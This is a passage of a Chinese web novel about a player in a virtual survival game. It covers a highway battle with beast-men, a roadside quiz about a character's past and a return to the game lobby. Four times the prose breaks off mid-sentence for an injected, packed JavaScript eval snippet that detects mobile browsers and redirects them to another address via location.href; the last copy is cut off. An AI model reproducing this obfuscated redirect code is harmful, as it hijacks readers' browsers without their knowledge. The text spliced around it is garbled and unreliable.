戴荆月惊愕回眸,只见红棍的身影已然消失,取而代之的是一只威风凛凛的西伯利亚虎! 不待她细看,老虎已然咆哮扑出,利爪轻而易举将被撞倒在地的兽人压制在地,稍一发力,兽人便骨骼碎裂、当场毙命。 这是红棍的动物属性! 下一刻,草鞋也扭了扭脖子,瞬间化作一只梅花鹿,亮出锋利的犄角,顶上兽人的胸膛,洞穿而出。 一边倒的局面随着玩家的兽化瞬间逆转,在凶猛的西伯利亚虎和彪悍的梅花鹿的进攻下,兽人们一时间不敢轻举妄动。 和戴荆月一样全须全尾蹲在战场外的还有白纸扇,他轻笑:“你也不上去?” 戴荆月望向这个清瘦高挑的男生,明白他话里的意思。 白纸扇的动物属性大概率是非进攻性,至少也是不适合当下战场的。但凡他的属性带有攻击性,此时此刻早就冲上前和兽人搏斗。 而自己却和他一样若无其事待在外围,要么和他一样是属性不合适,要么就是想坐享其成。 所以他看似是开玩笑般询问,藏在更深处的是强硬的质问。 白纸扇真正想表达的是: 你属于哪种?是迫不得已,还是不愿出力? 既然如此,戴荆月淡声道:“和你一样。” 听到答案的白纸扇莞尔:“我没有问题了。” 戴荆月当然不想袖手旁观。就在几分钟前,她还想过能不能靠自身兽化破局。眼下既然挺身而出更合适战斗的玩家,那么乌鸦便可有可无了。 近处的战场上,尽管红棍和草鞋以一对多,但源源不断的兽人还是极大的损耗了他们的体力。 西伯利亚虎的被血染红的皮毛凝成一绺一绺,搭在脏兮兮的身上,梅花鹿头顶的鹿角更是被硬生生掰断了一根,鲜血淋漓。 剩下二人虽未直接面对大部队,却也在与从其余方向突袭而来的兽人对抗。人形状态下的玩家自然不比兽化之后,在发现这个突破点后,大量的兽人妄图从此侵入。 所有人都在寄希望于半小时赶快结束,而时不时查看机械腕表的白纸扇,每次都是遗憾摇头:“还没到点。” 明明时间过了很久,指针却始终走不到该到的数字。就好像……时间变得比往常慢了。 应对兽人最少、几乎没怎么剧烈运动的戴荆月倏地抬眼,目光落在白纸扇的黑色腕表上,指尖迅速压上自己的脖颈: “白纸扇,你的表能不能计时一分钟?” 一分钟后。 她神情严肃:“我的脉搏刚刚一分钟跳了70次,往常是在60上下徘徊。” 不是错觉,不是对结束过于渴望,而是时间真的变慢了。 “这个狩猎有问题,我们根本等不到半小时,因为时间还在越来越慢。” 最开始她的脉搏还在70次,而多试几次后,甚至直逼80。与此同时,车下战斗的两位同伴早已力竭,强撑着最后一丝力量与不计其数的兽人对抗。 就在她说开狩猎时间真相的那一刻,空中陡然传来剧烈的翅膀震动声,两人两兽仰起头,看见的是一只飞在空中、人头兽身,长着巨大翅膀的怪物。 但戴荆月还是瞬间认出,那是姚时的哥哥,开启这场狩猎的人。 相较大部分在公路上横冲直撞、丧失神智的兽人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662246|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他显然理智尚存,甚至谈得上清醒: “比我想象中发现得早,我以为你们至少会折一条命。” 圣光回响里,所有剧情发展都是早早设置好的,但npc们不是。他们被植入的程序更高级也更复杂。尽管每一次游戏都会重置,但在当下,他们的言行举止就是活生生的人,自然具备自主的思维。 男人状似失望地叹了口气:“你们为什么一定要帮她呢?事实上,如果你们破解不开密码,最后炸弹反而不会爆炸。你们的行为,酿成了更糟糕的结局。” “谬论。”白纸扇语气冷得像淬着寒冰,“炸弹是否爆炸都由你决定,即便最后我们什么都不做,你想要爆炸,不过是一念之间。你不过是担心我们真的会披露姚家镇的真相。” 男人没搭理他,反而在一辆不起眼的车上空盘旋。戴荆月呼吸微滞,因为姚时就在那辆车里。 注意到她的紧张,男人笑着安抚:“放心,我不会对她做什么,毕竟她是我血浓于水的妹妹,不管她愿不愿意承认。” “我可去你爹的!世界上哪有想害死自己妹妹的?”累得化回人形的红棍躺在一片狼藉的公路上,却还是对天上自以为是的男人比了个大大的中指。 早在男人出来的那一刻,地面上的兽人就停止了攻击,而是安静地仰望着男人,宛如一位位虔诚的信徒。场景虽惊悚,但久战多时的红棍和草鞋也因此得以喘息。 “我们确实做得不太厚道,但是世界上有那么多犯罪的人,为什么偏偏盯着我们呢?再说了,他们很多人活得好好的,并不想你们想象中那样,比如我的妈妈。” 男人睥睨着地上的玩家,犹如看随时可以碾死的蝼蚁。 “姚时现在不懂事,但她总会有成长那天,这个炸弹,不过是给她小小的警告罢了。而你们窥破了真相,这个狩猎游戏也该结……” 这段话并没有被男人说完,因为一道黑影刷地冲到空中,发出鸟类凄厉的尖吼! 夜空之上,黑云滚滚,比暗夜更暗的乌鸦直冲而上,径直扑向还在说话的男人。 在空中的男人向后一躲,避开了乌鸦的攻击,语气里带着些惊叹:“居然还想着攻击我,你们比我想象中有毅力,只不过一只小乌鸦,能折腾出什么名堂呢?” 说着,便探出早已化为兽爪的双手,想将这只不识天高地厚的乌鸦彻底撕碎。 但戴荆月的计划,从来都不是飞翔在空中和他打游击战。 只见灵活飞动的乌鸦朝着男人的头顶急速掠去,却在逼近男人的那一刻鸦影消散,骤然化回人形,呈大字型赫然浮于高空之上。 “披荆戴月!!!” 地面上传来着急的惊呼。 但戴荆月置若罔闻,她漆黑的双眸中,只映着面前这个全然不似人的怪物。她早该这么做,而不是浪费时间听他的蛊惑。 下一秒,她如流星般坠落,双腿紧紧夹住男人的身躯,盘锁在他的腰上。左手成环,从后往前紧紧绞住男人的咽喉。空出的右手紧随其后,精准钳住对方下颌,指甲刺破皮肉,往边上用力一拧! “咔擦”声起,颈骨应声而断。 即将堕落高空的怪物,在生命的最后一刻,听见女生幽冷的声音:“这场游戏以我告终。你,无权终局。” 5. 南方高速(5) 砰! 凹陷的车顶炸开一朵腥臭的血蔷薇,刺目而狰狞。 地面上群龙无首的兽人们茫然失措,陆续钻回自己一片狼藉、支离破碎的车。稳坐车内旁观一切的姚时靠着窗,仍对着男人坠落的方向发怔。群英堂的三个人则抬头凝望空中那抹漂移的墨点。 男人临死前也不安生,紧抱着戴荆月一起下坠。在即将触地刹那,戴荆月挣开束缚,再度化为一只乌鸦冲天而上,在天际盘旋。 翱翔数分钟后,胸中激荡渐平的戴荆月才缓缓敛翅着陆,化回人形哑声道: “他死了,炸弹也不会爆炸了。” 化为兽形需要耗费极大的精神力,刚刚那场空战几乎抵达自身的极限。她藏起不受控制发颤的指尖,强撑着最后一丝体面:“支线应该结束了。” 白纸扇欲言又止看着她,最终还是什么都没说。反倒是同样狼狈的红棍调侃了一句:“看不出来,你比我想象中疯。” 戴荆月极轻地扬起嘴角,不置可否。现实里比这更疯的事情她也做过,何况是在这场游戏里。 没多久,前方的车如同融化的蓬松奶油,开始徐徐流动,验证了她的猜想—— 支线任务完成了,这场漫长的堵车也该疏通了。 狩猎游戏结束,方才还在狂躁失控的司机们渐渐安静下来。他们若无其事地发动引擎,动作平静得仿佛什么都没有发生。 车辆缓缓启动,继续沿着公路向前驶去,像退潮后复归沉默的深海。 但一辆辆运动中的机动车,早已在战斗中被破坏得歪七扭八,车窗碎裂、车门凹陷。路面被染成一片片暗红,横躺着胸膛不再起伏的尸体,空气里弥漫着挥之不去的血腥味,无声宣示着这里不久前发生了多么激烈的战斗。 有的车没能再等回自己的主人,急促的鸣笛声里,恢复正常的司机们齐心协力将那些空车、躯体推到公路的栏杆外,嘴里大声吐槽着:“搬东西可真麻烦!”语气寻常得就像在埋怨平素里乱停乱放的邻居。 坐回三轮车的戴荆月深吸一口气,强行闭眼,硬生生压制如潮水般涌上来的头晕恶心,凭借肌肉记忆扭动车把。 轮胎滚动,写着“披荆戴月”的小旗子猎猎捕风,凛冽的寒意驱散几分混沌。七八个星缀在天边,沉寂的暗色隐约翻涌起淡淡的白意。 车上的人没忍住加快了驾驶速度。 突如其来的支线剧情没让她自乱阵脚,戴荆月还记得自己的主线任务,是要在天亮前将旧纸箱送往下一个高速站点。 尽管不确定群英堂三人的任务是什么,但同一场游戏背景,总归内容大差不差。 初来乍到的第一场游戏,她还是有些轻敌,竟然单纯地以为只需要破开谜题就能通关。戴荆月下意识在心里暗自复盘反省,提示自己要提升警觉性。 随着公路的交汇贯通,周围的车渐续驶向其他方向,最后直行留在原路的车只剩下四名玩家和姚时。 高速行驶在路上,掠过耳畔的风喧嚣刺耳,也送来了白纸扇的声音:“披荆戴月,这是你的交通工具?” 还有些没适应用游戏ID互相称呼的戴荆月顿了顿,目光依次扫过白纸扇的越野车、红棍的跑车和草鞋的甲壳虫,最后选择保持沉默。 长袖善舞的草鞋主动接过话茬:“对了,你刚刚太帅了,咻的一下窜上去,我都没看清!” “那是你的动态视力太差了!”红棍心直口快,下意识抨击队友,抨击完后硬邦邦的语气里又流露出羡慕,“不过会飞还是帅啊,有时候我也想整个会飞的属性玩玩。” “对了,你是什么属性?你们飞太高了,天又太暗。”早已习惯队内互怼的草鞋没搭理红棍,爽朗的声音从斜前方小巧玲珑的甲壳虫车里传出。 白纸扇随口猜了几只猛禽:“黑色的鸟……林雕?还是黑鹰?” 听着这些攻击性极强的物种,戴荆月轻舒一口气,混杂在风里声音有些低:“都不是,是乌鸦。” 得到答案的红棍只当她体力不支才小声说话:“哟呵,我还没遇见过乌鸦属性的人,那你的异能会有哪些方向?” 不同的动物属性能够解锁的异能方向也不同,通常与动物本身息息相关。这种关联不单纯是生理特征上,人类对于某类动物的普遍看法也有可能成为异能。 正因如此,古往今来灾星般的乌鸦被嫌弃孤立似乎也可以理解。世俗观念下,乌鸦实在算不上讨喜物种。 戴荆月的唇微微翕动,“不知道”即将脱口而出,声音却猝然滞在喉中。 此时此刻,所有人的斜上方,一块突如其来的巨大方形面板正静静悬浮于高空。 它几乎横亘整条公路,却又始终与玩家们维持着一段无法拉近的距离,如同海市蜃楼般不可触及。 黑天之上,面板幽幽发光,光束飘渺滑动,逐渐勾勒出一行清晰的字符: 【公路小考,现在开始!】 公路小考?戴荆月猛地扭头望向斜后方,果不其然,姚时的车已不见踪影。 整条公路,只剩下四个玩家。 这无疑是公路给他们的又一重考验,也是阻止他们按时抵达终点的又一场围堵。 不顾玩家们惊愕的目光,面板上已浮现第一道题: 【姚时的高考志愿是什么?】 下一瞬,双行道上方凝聚起两座发光的立体文字。一条道路顶端悬浮着流光溢彩的【新闻】,另一条道路上则高悬着熠熠生辉的【经济】,在夜色中散发出不容忽视的光芒。 面板开始紧迫一分钟倒计时,玩家们很快意识到自己需要在两条路中做选择,而选项就是上方的词语。 正巧停在【新闻】下方的戴荆月和白纸扇没有变道,红棍和草鞋则在几秒内就稳当变过来,嘴里还调侃着: “这个公路小考不会就是这种选择题吧,先前收集了那么多线索,想来也够用了。” 戴荆月没吭声,盯着“高考志愿”四个字发怔。她不久前才警示过自己要提升戒备,而说不清道不明的直觉更是让她觉得事情没有这么简单。 尽管有钻牛角尖陷入窠臼的嫌疑,她还是觉得这个题目不对。 为什么问的是高考志愿,而不是大学专业,这两个名词完全等同吗…… 没等想完,一分钟时间到。 刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662247|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦—— 空中传来一声清脆的玻璃碎裂声。 四人齐齐抬头,目睹的便是选项破碎的场景。但是破碎的并非他们排除掉的【经济】,反而是他们身处其下的【新闻】! 流光溢彩的立体文字蓦然炸裂,碎片如锋利冰雹般噼里啪啦砸下,直冲玩家,剐蹭着他们裸露在外的皮肤。其中最大受害者就是戴荆月,毫无屏障的她只能驾驶着三轮车灵敏躲避,却还是不可避免地被划伤了脸,留下淡淡的血痕。 选项明明是光影,碎裂时又化作有攻击性的实体。 但是惩罚远不止如此。 原本平整的公路忽然变得颠簸,车失控地上下起伏。而路的前方,不知从何而来波涛汹涌的海水快速漫上,卷着海浪朝着他们滚来。 发生异变的只有这条路,另一侧象征着正确选项的道路完好如初,他们却无法越过那道虚线,只能被困在原地,直面属于自己的惩罚。 这就是做错题的代价。 转眼间,咸涩的海水彻底吞没了四人的身影,他们在翻涌的浪花间沉浮不定。 视线逐渐模糊的戴荆月仍死死攥住车把,双颊因含着一大口空气而微微鼓起,与三轮车在海里艰难维持平衡。 她不知道这场惩罚会持续多久,或许转瞬即逝,也或许下一刻就会迎来死亡。 肺部憋得快要爆炸,灼痛感阵阵袭来,眼前不自觉开始泛起一片虚无的白,双眼失焦的戴荆月在心里暗叹:还是经验不足啊。 就在意识即将涣散的刹那,一股沉稳的托举力突然从下方传来,她连人带车浮出了水面。 一阵剧烈的咳嗽后,稍微缓过来的戴荆月偏过头,发现了不远处同样浑身湿透、狼狈不堪的红棍和草鞋。 以及一辆空无一人的越野车。 注意到此,她忽地意识到什么,目光垂落,映入眼帘的是巨硕的鲸背,布着颗颗浅色的斑点,宛如夜幕繁星。 托起他们的那股力量,正来自于这只蓝鲸。 如此海洋巨兽本该无法容纳于狭窄公路,然而汹涌的海浪早已漫过路面,沿着山势不断上涨,形成了一片微型的海域。 长鲸纵横其上,托着所有玩家和交通工具,缓缓向前。 “白纸扇?” 回应她的是一小簇轻盈跃起的水花。 劫后余生的戴荆月靠着椅背,脸上不知不觉显出一抹笑意。 难怪当时站在外层,原来他的属性是水生动物。 解决了一个困扰她的问题,戴荆月扬起嘴角,随即便想到另一件事,一件相当重要的事。 如果说,突如其来的海水是错误的惩罚,那么姚时当年的高考志愿不是新闻,而是经济! 似乎有什么东西从她一团乱麻的脑中窜过,可却没能抓住。 群英堂的人显然也意识到这点。 红棍眯着眼,语气愤愤:“这么说来,他们全都骗了我们!她根本不是学新闻的。” “不一定,谁说大学专业一定要和高考志愿一样。” 戴荆月脑中浮现那个安静的短发女生,以及那段惊心动魄的陈述,“她在大学后转专业了。” 6. 南方高速(完) 蓝鲸载着众人悠然游弋了约莫五分钟,环绕着的海水开始无声消退。当巨兽的身影隐去时,四人已重新站在高速路上。路面干燥而坚实,未曾被任何一滴水所浸染,仿佛刚才只是一场团体幻觉。 重新着陆的玩家们各自匆匆俯身检查了一番交通工具,尤其是与主线相关的重要道具。 一齐经历连番考验,原本该小心隐藏的属性早已被抖了个底朝天,四人索性简单交流了各自的主线任务。 内容大差不差,都需要抵达“下一个高速路口”,但是抵达的目的各不相同。 白纸扇需要将越野车完好无损开过去进行交接。 红棍要驾驶跑车抵达站点等待某人。 草鞋的任务平平无奇,只需给甲壳虫加满油即可。 三人都一身轻松,真正要检查道具安危的只有戴荆月一人。 毕竟敞篷的三轮车里载着的是脆弱怕水的纸壳子。 然而让她意外的是,这些纸壳子就像经过特殊的防水处理,不仅没有任何被海水浸泡的痕迹,就连被人涂鸦乱画的痕迹都清晰无损。 四辆车更是干爽如初,反而是一身湿漉漉的他们蹭潮了座椅。 确认无误后,玩家们重新发动引擎。 空中,面板静静悬浮,并未急于抛出下一题,为他们贴心预留下休整时间。 直到最后一位玩家踩下油门,荧光才重新汇聚,缓缓凝结成第二道考题: 【姚时毕业时授予的学位是什么?】 两座发着光的立体文字再度幽幽浮现,一侧是【经济学学士】,另一侧是【文学学士】。 戴荆月略一挑眉:“新闻属于中文大类,她应该是文学学士。” 这次没人快速响应,方才差点溺亡在水里的草鞋犹豫着开口: “她真的转专业了吗,会不会她其实学的就是经济呢?” 红棍对此表示认可:“没准刚刚就是他们攒的局,姚时根本就和他们是一伙的,搁那骗我们呢。” “那她为什么要告诉我们密码?”戴荆月反问。 “怕自己真死了呗。” “可是男人说炸弹是遥控的,就算不告诉我们,她也不会死。如果是一伙的,她不会不知道。” 空气陷入微妙的凝滞,自堵车至今,他们第一次产生分歧。 戴荆月稍作停顿,声音轻却坚定:“我还是倾向于她是新闻专业毕业生。” 说完,她不再犹豫,转动车把将三轮车行驶到另一侧的道上。 片刻静默后,白纸扇冷静的声音响起:“我也选新闻。” 庞大的越野车沉稳变道,跟在三轮车后,留下低扁的跑车和小甲壳虫在原地踟蹰。 倒计时即将归零,红棍和草鞋一咬牙,紧随其后换了过来。 理由很简单。 “白纸扇是我们组织里除了老大最聪明的。”红棍“嘁”了一声,语气坦然,“还是跟着他比较安稳。” 闻言,戴荆月忍不住天马行空起来。 第一次听见白纸扇的游戏ID时她就很好奇这个组织者的理念是什么。 依照这种风格与代号,那位老大的游戏ID不会是什么龙头、会首吧。 脑海中不禁浮现出一个身形魁梧、四处纹身的大汉,抑或者是一位戴着墨镜、一身马褂的狠角儿。 百年时光过去,人类审美经过多轮变革,显然变得更加包容多元。走在街头,映入眼帘的路人或现代简约,或古风飘逸,人们完全可以随心所欲地装扮自己。 保不齐他们的老大真是个钟情于复古帮派文化的爱好者。 胡思乱想的时间里,第二道题即将迎来审判。 无形的审判之锤重重落下,这次砸碎的是另一条道地选项,逃过一劫的玩家们不约而同舒了口气。 可惜他们没能围观另一条路的惩罚,而是快马加鞭进入第三题。 自此,几人终于摸清了游戏的套路。 选错了,乖乖挨罚,一点也不能少。 没选错,直接跳过,快进下一抉择。 第三道题的题干很短: 【姚时说谎了吗?】 与题目长度一起缩短的还有选项,总共只有两个字:【是】或【否】。 “那肯定说谎了啊,她都骗我们自己是学新闻的了!” 戴荆月垂下眼,一点一滴回忆着姚时说过的话。乌黑修长的睫羽如蛰伏着的蝴蝶,投下半圆弧形的阴影。 “她或许说谎了,但是姚时没骗我们专业的事情。” 从头到尾,姚时都没有主动说自己的志愿报考,她只是默认自己学的是新闻,反而是从别人那听来的消息加剧了玩家们的惯性思维。 报考志愿时大吵一架,那么很容易就会先入为主地认为是因为姚时报了与山村相悖的专业。 事实上,她完全可以报考别的,之后再转去新闻。 草鞋不可置信:“照这么说,难道她还真没撒谎?” “不。”戴荆月弯了弯眼睛,“这件事没有撒谎,不代表别的没有撒谎。” 悬着玩家们头顶的选项恰好为【是】,因此四人只是稳稳当当向前开,没人偏移变道。 一分钟倒计时到。 犀利的碎片落在隔壁,他们算是又安稳度过一题。 不过摩拳擦掌做好准备迎接下一道的玩家们没再等来题目,眼前的出题板摇身一变成为显示屏,幽幽投射出一段光影。 嘈杂的背景音里,传出这场游戏里他们再熟悉不过的女声,语气带着几分焦急:“我也联系不上方兰,怎么办?” 画面里的姚时比现在要青涩许多,靠在铁架床旁,攥着手机的手急得发抖。 另几个陌生面貌的女生同样眉头紧皱:“她不会是被人骗到哪里去了吧……” 着急的几人没注意到,床边的姚时在听见这句话后,本就煞白的脸色又惨淡些许。 光影里,她悄悄走出宿舍,蹲在一个僻静、无人问津的角落,拨响了那通电话。 一串嘟嘟嘟的忙音后,电话被人接通,不耐烦的吼声溢了出来: “打老子电话干嘛,忙着呢!” 姚时抿了抿唇,还是坚持开口:“你们是不是买走了一个女生。” 那端沉默少顷:“人家大老远给我们送过来的高材生,我们也给他们送了小娃子过去,有什么问题?” “那是我舍友,放了她。”姚时强撑着说完这句话,牙齿紧咬着下唇,渗出铁锈味的血。 紧接着的对话用的是玩家们听不懂的方言,但单看姚时的表情,也能知道这场谈判注定无果。 女生浑身发抖地靠在墙角,稍有动静路过都会让她抬起惊恐的脸,宛如惊弓之鸟,唯恐被人察觉到自己也是帮凶。 早在高考前夕,姚时便强行催眠自己忘掉家乡的这些事,这太沉重太刺骨,远超一个未成年人的承受范围。 填报志愿时,姚时顺家人的意报考经济,交换条件是去离家远一点的学校。在她的家人看来,经济学院里的人非富即贵,她说不定能攀上大关系。 既然无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662248|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法承受痛苦,那就甘愿选择麻木。 在最开始,一切都是很好的,没人知道她来自哪里,没人在意她的家庭。他们只会称赞她的高绩点,认可她的能力。而她装作什么都不知道,完全可以催眠自我享受看似完满的家庭。 可是舍友的事情撕破了她自以为是的屏障。姚时想假装无事发生,过正常的大学生活,可无法逃避背负在身与生俱来的原罪。 后来方兰自己逃了出来,绕过群山,一路沿着公路跑,浑身是伤回到学校。 一见到姚时,方兰就紧抱着姚时的手臂,语无伦次地讲述着自己遭受到的非人折磨,犹如溺者搂住求生的浮木。 可方兰不会知道,她抱着的人其实也是那个地狱走出来的恶鬼。 方兰回来那晚,姚时独自走到宿舍楼的天台,在栏杆上坐了很久很久。无数次有想跳下去终结一切的冲动,却又在最后关头停住动作。 接下来的片段里,玩家们看见姚时递交转专业申请,开始跟着老师进行社会调研。 毕业后,酝酿多年的勇气得到回响。她回到姚家镇,收集线索、记录成手稿。唯一的遗憾是,被发现了。 再之后的事情,就是堵车时的炸弹风波了。 光影落幕,四个玩家久久无言,空旷的路上只能听见轮胎压过地面的声音。 面板不知何时消失,东边的天空隐约翻起鱼白透进日光,戴荆月眯着眼睛:“天要亮了。” 与此同时,红棍惊喜出声:“我看见路牌了!前边是终点!” 这是他们行驶这么久看见的第一个路牌,尽管其余的车在自由自在地变道换道,玩家们却始终保持直行,因为他们看不见任何指示牌。 沿着路牌下高速,出现在眼前的又是熟悉的收费站。戴荆月呼出一口气,赶着天光大亮之前将过路卡塞回去,直行越过站点。 而在尽头等待他们的,是一群警察。 比他们先赶到的姚时站在其间,交上了自己收集到的所有证据。她迟疑片刻,忽然手指向戴荆月:“还有东西在她那里。” 戴荆月:? 姚时走到她的三轮车后,在纸壳子间翻找,最后找到一张画着奇怪数字的纸壳,不久前戴荆月还以为是胡乱涂鸦。 “这个上面是……我妈妈记录的他们的罪行,悄悄混入了垃圾站让人送出来。如果我死在路上,至少还有别的证据。” 姚时在说到“我妈妈”时稍微停顿。在17岁那年,妈妈怨她戳穿这一切。可是不久前她才得知,原来妈妈真正的怨的不是打破平衡,而是怕自己受到伤害。 不仅如此,警方走到草鞋和白纸扇身前,拍了拍他们肩膀:“做得好。” 草鞋:? 白纸扇:? “要不是你们几个在路上护送她,恐怕这次也没这么顺利。” 察觉不对劲的红棍试探开口:“我要等的人是?” 人群里的姚时弱弱举起手:“我也没想到你们就是警方的线人……” 玩家们沉默几秒,很快又顺理成章接受这个情理之中的安排。 深埋在姚家镇的窝点被警方彻底端了,熟悉荧光再度笼罩全身,游戏提示音虽迟但到。 【恭喜玩家披荆戴月通关游戏!】 【游戏完成度评分为90分】 【该场游戏玩家综合评级为A,请玩家再接再厉!】 离开游戏的最后一瞬,戴荆月看见主动自首的姚时,听见有人问她为什么不早些报警。 再之后,便是一片混沌。 7. 游戏大厅 戴荆月和群英堂在游戏大厅里相聚。 每一位结束游戏的玩家都会回到这座初始大厅。大厅正中央浮动着一朵金光流转的巨型云彩,泼洒着光点,如梦似幻。以其为中心,四周依次铺开功能各异的区域,如准备区、兑奖区、休闲区……每一处都缀着轻盈飘浮的小金云,俏皮可爱。 戴荆月回想起自己第一次载入游戏时的情形,不禁莞尔:“看来开发者真的很喜欢云。” 满血复活的红棍凑近她,压低声音:“有人说是开发者名字里有云,有人说是开发者爱人名字里有云,总之将初始界面铺设的到处都是云,这些光就是所谓的圣光了,毕竟叫圣光回响。” 圣光回响本就是游戏,游戏里的伤不会带回到大厅。因此戴荆月的身体此时完好如初,觉察不出一丝疼痛。 巨云上呈现着一张若隐若现的光膜,光膜上显示着一张排行榜。 【季度排行榜】 NO.1路【群英堂】 NO.2铁拐张【八仙过海】 NO.3一山不容二虎【爱猫社】 …… NO.42红棍【群英堂】 …… NO.50白纸扇【群英堂】 …… NO.72草鞋【群英堂】 …… NO.100空中飞人【暂无归属】 见戴荆月面露疑惑,白纸扇主动解释:“这是季度排行榜,依照三个自然月内玩家积分排序,一场游戏的积分取决于完成度和评级,如果没能顺利通关会倒扣分数。” “综合评级有S、A、B、C、D五类,依次对应100、90、80、70和60。能够通关游戏的人最低也是D,不会再低了。” 暗自计算完自己积分的戴荆月颔首,瞥了第一名后忍不住问:“第一是你们组织的?” 红棍得意洋洋:“这就是我们老大,他蝉联好几次榜一了。” “为什么你们ID风格不一样?难道不是统一的吗?”眼前这个简约的ID和她幻想中那些威风凛凛的名字简直大相径庭。 “当然不是。”草鞋一脸纳闷,“只是我们几个觉得现在这个ID和组织名字更匹配。” “原来可以改游戏昵称?” “用积分换就行。” 几句对话下来,群英堂的人意识到眼前的女生是个彻头彻尾的新人,于是自发为她科普。 在圣光回响里,积分代表着一切。排名、功能性需要都与游戏积分息息相关。除此之外,积分还有一项最为重要的功能——兑钱。 这也是戴荆月参与游戏的原因。她对这张排行榜没太大兴趣,真正感兴趣的只有钱。 为了鼓励大家参加游戏提升能力,官方为积分和货币设置了1:1的兑换机制,拥有多少积分,就能兑换多少钱。 但兑换起始点是1000积分,相当于至少拥有1000分才能提现。戴荆月只有兑换180分,远远达不到提现要求,堪称贫困户。 “哦对了。”白纸扇忽然叫住她,推了推眼镜,“你的评级多少,我是B。” “A。”戴荆月回得云淡风轻,毕竟在学校里她可没少拿A。 谁知听完她的评级,红棍和草鞋霎时睁大眼睛:“这真是你的第一场游戏?” 戴荆月眨了眨眼:“这很难?” 事实上她甚至觉得自己没有发挥好,游戏完成分只有90分,还有10分不知扣在哪儿。 戴荆月猜测可能是自己没有探索出更多关于姚时的故事,包括最后那句“为什么现在才报警”。 这个问题实在是无聊,她在心里嘀咕。 姚时不是圣人,只是一个才毕业不久的小年轻。纵使心中再不平,包庇自己的家人也是人之常情。虽然戴荆月认为一切都应绳之以法,但也能理解对方的纠结与犹豫。 “加入群英堂吧。”白纸扇郑重出声。 打断她思绪的是这声洪亮的邀请。 她打量着面前这个清瘦的眼镜男,语气带着些不确定:“……我吗?” 白纸扇点头,一旁的草鞋也来帮腔:“这场游戏里谁的贡献度最高我们都看得出来,光是你的评级就比我们高一截。” “虽然综合评级取决于个人,但游戏完成度往往需要更多人一起推进。” “群英堂是游戏里最有影响力的组织之一,我们走的是小而精的路线,和我们一起进游戏,肯定是利大于弊。” 这点戴荆月承认,无论是红棍的虎、草鞋的鹿还是白纸扇的鲸,都在游戏里起到至关重要的作用。 “而且我们组织有人觉醒异能了,你应该清楚异能者有多罕见。” 听到这句话,戴荆月不知觉扬起眉。 帝国里人人都有动物属性,但绝非每个人都能兽化,能觉醒异能的更是佼佼者。 大家都清楚异能和动物属性有关,但很多人终其一生也没能找到触发异能的契机。 可她还是拒绝了。 一方面是她玩游戏的初心就极不单纯,另一方面是,她不知道能回馈给别人什么。 她厌恶麻烦,更厌恶自己是那个麻烦,心里明明清楚,独行才是更适合自己的选择。 张扬的红棍一把搂住她的肩:“没事,我可喜欢你了,你要是想随时都可以加入。” 尽管没同意,戴荆月还是和面前三人加了游戏好友。 “有机会再一起玩!”草鞋热情洋溢。 到最后,社交能力匮乏的戴荆月只是不断点头,随即找借口退出了游戏。 肩膀上残存着稀薄的暖意,刚刚红棍似乎说喜欢她。记不起上一次听见这三个字是多久以前。 书桌前,戴荆月断开游戏服务器,扭头看向窗外,树影婆娑、漆黑一片,已经是晚上了。 居然不知不觉玩了这么久。 饭点早就过了,卧室没人来敲门,这是她在家里的常态,无人在意的小透明一枚。 屋外传来稚嫩的孩童嬉笑声,以及大人捧场的安抚:“太厉害了!真不愧是我家宝宝!” 戴荆月无所谓地打了个哈欠,习惯性从抽屉里拽出面包,无声啃了起来。 终端有好几条未读消息,不用看也能猜到是谁发过来的。刚点开和“y”的聊天记录,就齐齐蹦了出来—— “游戏体验怎么样?期待你体验后的评价,有机会我们还能一起进游戏。” “你的游戏ID是什么,我们可以先加个好友。” “还没出来吗?想想也是,游戏没有这么快结束。” 戴荆月一连听了好几条,嚼着面包慢吞吞回复:“刚出来,体验还可以。” 那端几乎是瞬间拨来一个语音通话。 确定接听,熟悉的男声传出:“结束游戏了?” “嗯。”戴荆月言简意赅。 “主线任务是什么?” 她边概括边收拾面包残渣:“送东西。” 三个字,完美概括了游戏主线,完美避开了游戏精华。 清澈的男声轻笑,笑得人耳朵酥酥麻麻:“第一次游戏感觉怎么样?” 戴荆月揉了揉微热的耳朵:“还凑合,比我想象中好玩,还遇见几个别的玩家。” “哦对了,你知道群英堂这个组织吗?” 不知怎的,那端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 